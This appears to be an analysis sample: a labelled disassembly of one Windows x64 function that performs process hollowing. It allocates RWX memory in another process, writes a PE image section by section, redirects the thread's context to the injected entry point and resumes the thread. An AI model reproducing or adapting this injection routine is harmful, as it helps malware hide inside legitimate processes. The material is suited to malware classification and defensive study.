Function at 0x140002390
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Resume thread

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x550
mov rax, qword [0x140049040]
xor rax, rsp
mov qword [rsp + 0x540], rax
mov rax, qword [rsp + 0x568]
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x68]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov eax, dword [rax + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, eax
mov rax, qword [rsp + 0x38]
mov rdx, qword [rax + 0x30]
mov rax, qword [rsp + 0x560]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x140002421
xor eax, eax
jmp 0x1400025ff
mov rax, qword [rsp + 0x38]
mov eax, dword [rax + 0x54]
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [rsp + 0x568]
mov rdx, qword [rsp + 0x40]
mov rax, qword [rsp + 0x560]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [rsp + 0x48], eax
cmp dword [rsp + 0x48], 0
jne 0x140002465
xor eax, eax
jmp 0x1400025ff
mov dword [rsp + 0x30], 0
jmp 0x140002479
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x38]
movzx eax, word [rax + 6]
cmp dword [rsp + 0x30], eax
jge 0x140002518
mov rax, qword [rsp + 0x38]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x38]
lea rax, [rcx + rax + 0x18]
movsxd rcx, dword [rsp + 0x30]
imul rcx, rcx, 0x28
add rax, rcx
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x60]
mov ecx, dword [rcx + 0x14]
mov rdx, qword [rsp + 0x568]
add rdx, rcx
mov rcx, rdx
mov rdx, qword [rsp + 0x60]
mov edx, dword [rdx + 0xc]
mov r8, qword [rsp + 0x40]
add r8, rdx
mov rdx, r8
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, rcx
mov rax, qword [rsp + 0x560]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [rsp + 0x4c], eax
cmp dword [rsp + 0x4c], 0
jne 0x140002513
xor eax, eax
jmp 0x1400025ff
jmp 0x14000246f
lea rax, [rsp + 0x70]
mov rdi, rax
xor eax, eax
mov ecx, 0x4d0
rep stosb byte [rdi], al
mov dword [rsp + 0xa0], 0x10000b
lea rdx, [rsp + 0x70]
mov rax, qword [rsp + 0x560]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jne 0x14000255d
xor eax, eax
jmp 0x1400025ff
mov rax, qword [rsp + 0x38]
add rax, 0x30
mov rcx, qword [rsp + 0xf8]
add rcx, 0x10
mov qword [rsp + 0x20], 0
mov r9d, 8
mov r8, rax
mov rdx, rcx
mov rax, qword [rsp + 0x560]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [rsp + 0x54], eax
cmp dword [rsp + 0x54], 0
jne 0x1400025a7
xor eax, eax
jmp 0x1400025ff
mov rax, qword [rsp + 0x38]
mov eax, dword [rax + 0x28]
mov rcx, qword [rsp + 0x40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xf0], rax
lea rdx, [rsp + 0x70]
mov rax, qword [rsp + 0x560]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov dword [rsp + 0x58], eax
cmp dword [rsp + 0x58], 0
jne 0x1400025e8
xor eax, eax
jmp 0x1400025ff
mov rax, qword [rsp + 0x560]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, 1
mov rcx, qword [rsp + 0x540]
xor rcx, rsp
call fcn.140015340
add rsp, 0x550
pop rdi
ret